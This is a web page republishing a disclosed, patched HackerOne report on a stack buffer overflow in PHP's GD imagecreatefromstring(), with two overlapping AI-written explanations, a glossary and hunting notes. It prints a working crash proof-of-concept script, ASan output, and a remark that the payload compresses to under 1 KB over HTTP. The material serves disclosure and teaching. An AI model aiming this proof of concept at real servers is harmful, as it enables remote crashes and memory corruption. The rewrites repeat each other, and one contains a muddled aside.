Skip to content
Memory corruption Disclosed report Advanced

Stack Buffer Overflow in GD dynamicGetbuf

A signed/unsigned conversion bug in PHP's GD extension let a large string passed to imagecreatefromstring() cause a stack buffer overflow, crashing the process.

libnex Follow

Originally disclosed on HackerOne

Bounty$1,500 High View original
  • Fixed in 51 days
  • Paid in 51 days
  • Disclosed after 3.1 years

#Stack-based buffer over flow in GD dynamicGetbuf#

Description:

  1. imagecreatefromstring() takes in a string and attempts to convert it into an image. The string is in the variable "data" and the length is stored as size_t (unsigned) within a zend_string structure as seen below. When passed into gdNewDynamicCtxEx(), it gets converted implicitly into an int (signed). If the MSB of the size_t is 1, when converting to an int, this becomes a negative number.

_php_image_create_from_string(...) at php-7.0.11/ext/gd/gd.c:2227

C
2227                 io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0);
  1. Tracing the code deeper, the size is set to dp (dynamicPtr) below

allocDynamic(...) at ext/gd/libgd/gd_io_dp.c:272

C
280                 dp->logicalSize = initialSize;
  1. During the image conversion, dynamicGetchar() gets called to read 1 byte (line 257).

dynamicGetchar(..) at ext/gd/libgd/gd_io_dp.c

C
	254             unsigned char b;
	255             int rv;
	256
	257             rv = dynamicGetbuf (ctx, &b, 1);
  1. Tracing into dynamicGetbuf(), because "remain" (line 236) is negative due to the int conversion, line 243 gets executed and more than 1 byte will be memcpy (line 246). This memcpy would copy bytes to "bu"f which is 1-byte char on the stack. This results in a stack buffer over flow.

dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len) at ext/gd/libgd/gd_io_dp.c:237

C
236             remain = dp->logicalSize - dp->pos;
237             if (remain >= len) {
238                     rlen = len;
239             } else {
240                     if (remain == 0) {
241                             return EOF;
242                     }
243                     rlen = remain;
244             }
245
246         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen);

Test script:

PHP
<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",4294967286); //Note that although this is a large string, over HTTP gz compression, it's going to be less than 1kb
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);

?>

$> ./php-7.0.11 test.php Segmentation fault

Address Sanitizer result

ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd246d5520 at pc 0x99119a bp 0x7ffd246d5480 sp 0x7ffd246d5478
WRITE of size 18446744073709551606 at 0x7ffd246d5520 thread T0
    #0 0x991199 in dynamicGetbuf /home/elaw/php-7.0.9/ext/gd/libgd/gd_io_dp.c:246
    #1 0x991263 in dynamicGetchar /home/elaw/php-7.0.9/ext/gd/libgd/gd_io_dp.c:257
    #2 0x98feaf in php_gd_gdGetC /home/elaw/php-7.0.9/ext/gd/libgd/gd_io.c:73
    #3 0x9a501c in php_gd_gd_getin /home/elaw/php-7.0.9/ext/gd/libgd/gd_wbmp.c:81
....

The original report as published on HackerOne, by libnex. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This is a memory corruption bug in PHP's GD extension, specifically in the code path reached by imagecreatefromstring(). That function takes a string and attempts to convert it into an image, which is exactly the kind of thing an application does when it accepts an uploaded or fetched image and wants to turn it into a GD resource. The vulnerable function is imagecreatefromstring(), and the fault itself lives in the dynamic I/O layer of the bundled libgd, in ext/gd/libgd/gd_io_dp.c.

The researcher notes that passing user input to imagecreatefromstring() is not unusual, and cites two real-world examples of code doing so:

  • https://github.com/rbloone/sslv-scraper/blob/[redacted]/img.php
  • https://github.com/hick/utl/blob/[redacted]/pasteimage/file.php

The bug had already been filed upstream as PHP bug 73280, and a patch was submitted and accepted in php-src commit [redacted].

Setup

The relevant code is shown at php-7.0.11/ext/gd/gd.c:2227, while the Address Sanitizer trace references paths under php-7.0.9. The test script was run directly from the command line:

Text
$> ./php-7.0.11 test.php

The test script raises the memory limit to unlimited, because the payload requires allocating a very large string. No other preconditions are described.

Finding it

The starting point is the call from _php_image_create_from_string() into gdNewDynamicCtxEx(). The string being converted lives in a zend_string, where its length is stored as a size_t, which is unsigned. When that length is passed to gdNewDynamicCtxEx(), it is implicitly converted to a signed int. If the most significant bit of the size_t is 1, the conversion produces a negative number.

C
2227                 io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0);

Tracing deeper, that size is stored in the dynamic pointer structure as dp->logicalSize:

C
280                 dp->logicalSize = initialSize;

During image conversion, dynamicGetchar() is called to read a single byte:

C
	254             unsigned char b;
	255             int rv;
	256
	257             rv = dynamicGetbuf (ctx, &b, 1);

That call passes the address of a one-byte unsigned char on the stack as the destination buffer, with a length of 1. Inside dynamicGetbuf(), the remaining length is computed as dp->logicalSize - dp->pos. Because logicalSize is negative after the signed conversion, remain is negative, so the remain >= len branch is not taken. remain is also not zero, so the function falls through to rlen = remain and then calls memcpy() with that negative length, copying far more than one byte into the one-byte stack buffer.

C
236             remain = dp->logicalSize - dp->pos;
237             if (remain >= len) {
238                     rlen = len;
239             } else {
240                     if (remain == 0) {
241                             return EOF;
242                     }
243                     rlen = remain;
244             }
245
246         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen);

Exploitation

Step 1: Build a string whose length has the top bit set

The test script allocates a string of 4294967286 bytes, which is 2^32 minus 10. As a size_t this value has its most significant bit set, so the implicit conversion to int yields a negative value. The first eight bytes are then overwritten with NUL bytes.

PHP
<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",4294967286); //Note that although this is a large string, over HTTP gz compression, it's going to be less than 1kb
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);

?>

The researcher's comment on the str_repeat line is worth keeping in mind for the impact discussion: although the string is enormous in memory, over HTTP with gzip compression it is going to be less than 1kb.

Step 2: Pass the string to the vulnerable function

The final call is imagecreatefromstring($var_3). This is the entry point that converts the zend_string length into the signed int and hands it to the dynamic I/O context, setting up the negative logicalSize described above.

Step 3: Observe the crash

Running the script against PHP 7.0.11 produces a segmentation fault:

Text
$> ./php-7.0.11 test.php
Segmentation fault

Step 4: Confirm the overflow with Address Sanitizer

The ASan build reports a stack buffer overflow in dynamicGetbuf, with a write size of 18446744073709551606, which is the negative length reinterpreted as an unsigned 64-bit value:

Text
ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd246d5520 at pc 0x99119a bp 0x7ffd246d5480 sp 0x7ffd246d5478
WRITE of size 18446744073709551606 at 0x7ffd246d5520 thread T0
    #0 0x991199 in dynamicGetbuf /home/elaw/php-7.0.9/ext/gd/libgd/gd_io_dp.c:246
    #1 0x991263 in dynamicGetchar /home/elaw/php-7.0.9/ext/gd/libgd/gd_io_dp.c:257
    #2 0x98feaf in php_gd_gdGetC /home/elaw/php-7.0.9/ext/gd/libgd/gd_io.c:73
    #3 0x9a501c in php_gd_gd_getin /home/elaw/php-7.0.9/ext/gd/libgd/gd_wbmp.c:81
....

The stack frames confirm the path: dynamicGetbuf is reached from dynamicGetchar, which is called through php_gd_gdGetC, which in turn is called from the WBMP reader php_gd_gd_getin. The overflow happens at the memcpy on line 246, writing into the one-byte stack buffer that dynamicGetchar passed in.

Root cause

The mistake is a signedness mismatch across an API boundary. The length of a zend_string is a size_t, and it is passed to gdNewDynamicCtxEx() without a range check, where it is implicitly narrowed to a signed int. For lengths at or above 2^31 the result is negative, and that negative value is stored as dp->logicalSize.

Downstream, dynamicGetbuf() computes remain = dp->logicalSize - dp->pos and treats it as a length. The only guards are remain >= len and remain == 0; a negative remain satisfies neither, so it is used directly as the memcpy length. The destination is the one-byte b in dynamicGetchar, so the copy overruns the stack. The report does not describe any check that would have caught the negative size before the copy.

Impact

The researcher describes the bug as remotely exploitable. The reasoning is that imagecreatefromstring() is commonly fed user input, and the two linked projects are given as real-life examples of that pattern. The researcher's comment on the str_repeat line notes that over HTTP with gzip compression the string is going to be less than 1kb.

The report demonstrates a segmentation fault and an ASan-confirmed stack buffer overflow. It does not include a proof of code execution, and the write contents come from the attacker-supplied buffer, which is the usual starting point for turning a stack overflow into control-flow hijack. The report does not go further than that.

Fix

A patch was submitted and accepted in php-src commit [redacted], and the issue was tracked upstream as PHP bug 73280. The report does not describe the contents of the patch, so the specific change is not stated here. The defect it addresses is the unchecked narrowing of the string length to a signed int before it reaches the dynamic I/O context.

Variants to test

  • Other PHP entry points that hand a zend_string length to libgd or to any API taking a signed int. A positive result is a crash or an ASan report when the input length crosses 2^31.
  • Other libgd readers that call dynamicGetchar() or dynamicGetbuf(), since the overflow is in the shared dynamic I/O layer rather than in a single format parser. A positive result is the same memcpy frame in the ASan trace.
  • Any wrapper that passes user-controlled image data to imagecreatefromstring() in an application you are authorised to test. A positive result is a segmentation fault on a request whose body is small after compression.
  • Length fields in other languages and libraries that are narrowed from unsigned to signed before being used as copy sizes. A positive result is a negative length reaching a memcpy or equivalent.

Hunting notes

This kind of bug hides at boundaries between an unsigned length and a signed parameter, especially in C extensions and bundled third-party libraries where the wrapper code is less scrutinised than the core. During recon, the signals are functions that accept a string or buffer plus a length, and code paths where that length is stored in a struct field typed int. The imagecreatefromstring() family is a good starting point because it is a public API that applications routinely expose to user input.

The researcher made the case for impact in two ways: by pointing at real projects that pass user input to the vulnerable function, and by noting that the huge in-memory string compresses to under 1kb over HTTP.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a bug in PHP, the programming language that powers many websites. The bug is in a part of PHP called the GD extension, which is used to work with images. Specifically, the bug is in a function called imagecreatefromstring(). This function takes a piece of text (a string) and tries to turn it into an image. Websites often use this function when they let users upload a picture or when they fetch an image from another website.

The bug is a type of problem called a stack buffer overflow. To understand that, imagine you have a small box on a shelf that is only big enough to hold one apple. If someone tries to put a hundred apples into that box, the extra apples will spill out and make a mess on the shelf. In a computer, the "box" is a small area of memory called the stack, and the "apples" are bytes of data. If the program tries to copy more bytes than the box can hold, the extra bytes overwrite other things on the stack, which can crash the program or, in the worst case, let an attacker run their own code.

The researcher found that by crafting a very long string (over 4 billion bytes) and passing it to imagecreatefromstring(), the function would misinterpret the length of the string as a negative number. That negative number then caused the program to copy a huge amount of data into a tiny one-byte buffer on the stack, causing the overflow. The researcher demonstrated the crash and confirmed it with a tool called Address Sanitizer. The bug was reported to the PHP project as bug 73280, and a patch was submitted and accepted.

Context

This is a memory corruption bug in PHP's GD extension. The GD extension is a library that lets PHP create and manipulate images. The function imagecreatefromstring() is part of that extension. It takes a string (which is supposed to contain image data) and returns an image resource that PHP can work with. The vulnerable code is not in the function itself but in a lower-level part of the bundled libgd library, specifically in the file ext/gd/libgd/gd_io_dp.c. That file handles input and output for image data stored in memory.

The researcher notes that it is common for programmers to pass user input directly to imagecreatefromstring(). To illustrate, they link to two real-world examples on GitHub:

  • https://github.com/rbloone/sslv-scraper/blob/[redacted]/img.php
  • https://github.com/hick/utl/blob/[redacted]/pasteimage/file.php

These are examples of code that take user-supplied data and feed it to the vulnerable function. The bug had already been reported to the PHP project as bug 73280, and a patch was submitted and accepted in a commit with the identifier [redacted]. The report was disclosed through the Internet Bug Bounty program on HackerOne, rated high severity, with a bounty of 1500 USD.

Setup

The relevant code is shown at php-7.0.11/ext/gd/gd.c:2227, while the Address Sanitizer trace references paths under php-7.0.9. The test script was run directly from the command line:

Text
$> ./php-7.0.11 test.php

This command runs the PHP interpreter (version 7.0.11) on a file called test.php. The test script sets the memory limit to unlimited because the payload requires allocating a very large string. No other preconditions are described.

Finding it

The starting point is the call from _php_image_create_from_string() into gdNewDynamicCtxEx(). In PHP, strings are stored in a structure called zend_string. The length of the string is stored as a size_t, which is an unsigned integer type (it can only hold non-negative values). When that length is passed to gdNewDynamicCtxEx(), it is implicitly converted to a signed int (which can hold negative values). If the most significant bit of the size_t is 1 (meaning the value is very large, at least 2^31), the conversion produces a negative number.

C
2227                 io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0);

This line is from the PHP source code. Z_STRLEN_P(data) gets the length of the string data. Z_STRVAL_P(data) gets the actual string data. The function gdNewDynamicCtxEx() is called with these values. The length is passed as the first argument, and because the function expects an int, the size_t length is converted to an int. If the length is large enough, this conversion yields a negative number.

Tracing deeper, that size is stored in the dynamic pointer structure as dp->logicalSize:

C
280                 dp->logicalSize = initialSize;

This line assigns the initialSize (which is the converted length) to the logicalSize field of the dp structure. So now dp->logicalSize holds a negative value.

During image conversion, dynamicGetchar() is called to read a single byte:

C
	254             unsigned char b;
	255             int rv;
	256
	257             rv = dynamicGetbuf (ctx, &b, 1);

This snippet shows the function dynamicGetchar(). It declares a one-byte variable b on the stack. Then it calls dynamicGetbuf() with the address of b (where to store the byte), a length of 1 (how many bytes to read), and the context ctx. The return value is stored in rv.

Inside dynamicGetbuf(), the remaining length is computed as dp->logicalSize - dp->pos. Because logicalSize is negative after the signed conversion, remain is negative. The code then checks if remain >= len. Since remain is negative and len is 1, this condition is false. It then checks if remain == 0, which is also false. So it falls through to rlen = remain, setting rlen to the negative value. Then it calls memcpy() with that negative length, copying far more than one byte into the one-byte stack buffer b.

C
236             remain = dp->logicalSize - dp->pos;
237             if (remain >= len) {
238                     rlen = len;
239             } else {
240                     if (remain == 0) {
241                             return EOF;
242                     }
243                     rlen = remain;
244             }
245
246         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen);

Line 236 computes the remaining bytes. Line 237 checks if there are enough bytes to satisfy the request. If so, it sets rlen to the requested length. Otherwise, if remain is zero, it returns EOF (end of file). If remain is not zero (and not negative? Actually, if remain is negative, it is not zero, so it goes to line 243), it sets rlen to remain. Then line 246 calls memcpy to copy rlen bytes from the data buffer to buf. Since rlen is negative, it is interpreted as a huge unsigned value, causing a massive overflow.

Exploitation

Step 1: Build a string whose length has the top bit set

The test script allocates a string of 4294967286 bytes, which is 2^32 minus 10. As a size_t, this value has its most significant bit set, so the implicit conversion to int yields a negative value. The first eight bytes are then overwritten with NUL bytes.

PHP
<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",4294967286); //Note that although this is a large string, over HTTP gz compression, it's going to be less than 1kb
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);

?>

This is a PHP script. Let's go through it line by line:

  • <?php starts the PHP code.
  • ini_set('memory_limit',-1); sets the memory limit to unlimited. This is necessary because the script will allocate a very large string.
  • $var_3 = str_repeat("A",4294967286); creates a string consisting of the character "A" repeated 4294967286 times. The comment notes that although this is a large string in memory, when sent over HTTP with gzip compression, it will be less than 1 kilobyte. The comment notes that over HTTP with gzip compression the string is going to be less than 1kb.
  • The next eight lines set the first eight bytes of the string to NUL bytes (\x00). The researcher does not explain why these specific bytes are set.
  • imagecreatefromstring($var_3); calls the vulnerable function with the crafted string.
  • ?> closes the PHP code.

The researcher's comment on the str_repeat line is worth keeping in mind for the impact discussion: although the string is enormous in memory, over HTTP with gzip compression it is going to be less than 1kb.

Step 2: Pass the string to the vulnerable function

The final call is imagecreatefromstring($var_3). This is the entry point that converts the zend_string length into the signed int and hands it to the dynamic I/O context, setting up the negative logicalSize described above.

Step 3: Observe the crash

Running the script against PHP 7.0.11 produces a segmentation fault:

Text
$> ./php-7.0.11 test.php
Segmentation fault

A segmentation fault is a signal that the program tried to access memory it is not allowed to, often because of a buffer overflow. This confirms that the bug causes a crash.

Step 4: Confirm the overflow with Address Sanitizer

The ASan build reports a stack buffer overflow in dynamicGetbuf, with a write size of 18446744073709551606, which is the negative length reinterpreted as an unsigned 64-bit value:

Text
ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd246d5520 at pc 0x99119a bp 0x7ffd246d5480 sp 0x7ffd246d5478
WRITE of size 18446744073709551606 at 0x7ffd246d5520 thread T0
    #0 0x991199 in dynamicGetbuf /home/elaw/php-7.0.9/ext/gd/libgd/gd_io_dp.c:246
    #1 0x991263 in dynamicGetchar /home/elaw/php-7.0.9/ext/gd/libgd/gd_io_dp.c:257
    #2 0x98feaf in php_gd_gdGetC /home/elaw/php-7.0.9/ext/gd/libgd/gd_io.c:73
    #3 0x9a501c in php_gd_gd_getin /home/elaw/php-7.0.9/ext/gd/libgd/gd_wbmp.c:81
....

Address Sanitizer is a tool that detects memory errors. It reports a stack-buffer-overflow, meaning a write beyond the bounds of a stack buffer. The write size is 18446744073709551606, which is 2^64 minus 10, the unsigned representation of the negative length. The stack trace shows the call chain: dynamicGetbuf at line 246, called from dynamicGetchar at line 257, called from php_gd_gdGetC at line 73, called from php_gd_gd_getin at line 81. This confirms the path: the WBMP image reader calls php_gd_gd_getin, which calls php_gd_gdGetC, which calls dynamicGetchar, which calls dynamicGetbuf, where the overflow occurs at the memcpy on line 246, writing into the one-byte stack buffer that dynamicGetchar passed in.

Root cause

The mistake is a signedness mismatch across an API boundary. The length of a zend_string is a size_t (unsigned), and it is passed to gdNewDynamicCtxEx() without a range check, where it is implicitly narrowed to a signed int. For lengths at or above 2^31, the result is negative, and that negative value is stored as dp->logicalSize.

Downstream, dynamicGetbuf() computes remain = dp->logicalSize - dp->pos and treats it as a length. The only guards are remain >= len and remain == 0; a negative remain satisfies neither, so it is used directly as the memcpy length. The destination is the one-byte b in dynamicGetchar, so the copy overruns the stack. The report does not describe any check that would have caught the negative size before the copy.

Impact

The researcher describes the bug as remotely exploitable. The reasoning is that imagecreatefromstring() is commonly fed user input, and the two linked projects are given as real-life examples of that pattern. The researcher's comment on the str_repeat line notes that over HTTP with gzip compression the string is going to be less than 1kb.

The report demonstrates a segmentation fault and an ASan-confirmed stack buffer overflow. It does not include a proof of code execution, and the write contents come from the attacker-supplied buffer, which is the usual starting point for turning a stack overflow into control-flow hijack. The report does not go further than that.

Fix

A patch was submitted and accepted in php-src commit [redacted], and the issue was tracked upstream as PHP bug 73280. The defect it addresses is the unchecked narrowing of the string length to a signed int before it reaches the dynamic I/O context.

Variants to test

  • Other PHP entry points that hand a zend_string length to libgd or to any API taking a signed int. A positive result is a crash or an ASan report when the input length crosses 2^31.
  • Other libgd readers that call dynamicGetchar() or dynamicGetbuf(), since the overflow is in the shared dynamic I/O layer rather than in a single format parser. A positive result is the same memcpy frame in the ASan trace.
  • Any wrapper that passes user-controlled image data to imagecreatefromstring() in an application you are authorised to test. A positive result is a segmentation fault on a request whose body is small after compression.
  • Length fields in other languages and libraries that are narrowed from unsigned to signed before being used as copy sizes. A positive result is a negative length reaching a memcpy or equivalent.

Hunting notes

This kind of bug hides at boundaries between an unsigned length and a signed parameter, especially in C extensions and bundled third-party libraries where the wrapper code is less scrutinised than the core. During recon, the signals are functions that accept a string or buffer plus a length, and code paths where that length is stored in a struct field typed int. The imagecreatefromstring() family is a good starting point because it is a public API that applications routinely expose to user input.

The researcher made the case for impact in two ways: by pointing at real projects that pass user input to the vulnerable function, and by noting that the huge in-memory string compresses to under 1kb over HTTP.

Glossary

  • API: Application Programming Interface; a set of rules and functions that allow different software components to communicate. In this context, it refers to the functions provided by PHP and its extensions.
  • Address Sanitizer (ASan): A tool that detects memory errors such as buffer overflows and use-after-free by instrumenting the code at compile time.
  • Buffer: A region of memory used to temporarily hold data, often while it is being moved from one place to another.
  • Buffer overflow: A condition where a program writes more data to a buffer than it can hold, causing adjacent memory to be overwritten.
  • Bounty: A monetary reward paid to a security researcher for finding and reporting a vulnerability.
  • C: A programming language commonly used for system software; PHP and its extensions are written in C.
  • Commit: A recorded change in a version control system like Git; it represents a set of modifications to the codebase.
  • Compression (gzip): A method of reducing the size of data by encoding it more efficiently; gzip is a common compression format used in HTTP.
  • Dynamic I/O: Input/output operations where the data source or destination is not fixed in advance, often stored in memory and accessed through a structure.
  • EOF: End of file; a special value indicating that there is no more data to read.
  • Extension: A module that adds functionality to a programming language; PHP's GD extension adds image processing capabilities.
  • GD: A graphics library used for creating and manipulating images; PHP bundles a version of it.
  • HackerOne: A platform where security researchers report vulnerabilities to organisations and may receive bounties.
  • Imagecreatefromstring(): A PHP function that creates an image resource from a string containing image data.
  • Internet Bug Bounty: A program on HackerOne that rewards researchers for finding bugs in open-source software and internet infrastructure.
  • libgd: The underlying library that provides the GD functionality; PHP bundles it.
  • memcpy(): A C library function that copies a specified number of bytes from one memory location to another.
  • Memory corruption: A class of software bugs where memory is unintentionally modified, often leading to crashes or security vulnerabilities.
  • Most significant bit (MSB): The bit in a binary number that represents the highest value; in a signed integer, it often indicates the sign (0 for positive, 1 for negative).
  • NUL byte: A byte with the value zero, often used as a string terminator in C.
  • PHP: A popular server-side scripting language used for web development.
  • Segmentation fault: A signal sent by the operating system when a program tries to access memory it is not allowed to, typically causing the program to crash.
  • Signed int: An integer type that can hold both positive and negative values.
  • size_t: An unsigned integer type used to represent sizes of objects in memory.
  • Stack: A region of memory used for temporary storage of function call information, local variables, and return addresses.
  • Stack buffer overflow: A buffer overflow that occurs on the stack, often overwriting local variables or return addresses.
  • Unsigned integer: An integer type that can only hold non-negative values.
  • zend_string: The internal data structure used by PHP to represent strings, containing the length and the character data.
  • 2^31: 2 raised to the power of 31, which is 2147483648; the smallest positive value that, when interpreted as a signed 32-bit integer, becomes negative.
  • 2^32: 2 raised to the power of 32, which is 4294967296; the number of distinct values representable by a 32-bit unsigned integer.
  • 2^64: 2 raised to the power of 64, which is 18446744073709551616; the number of distinct values representable by a 64-bit unsigned integer.

More by libnex

View all

9 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.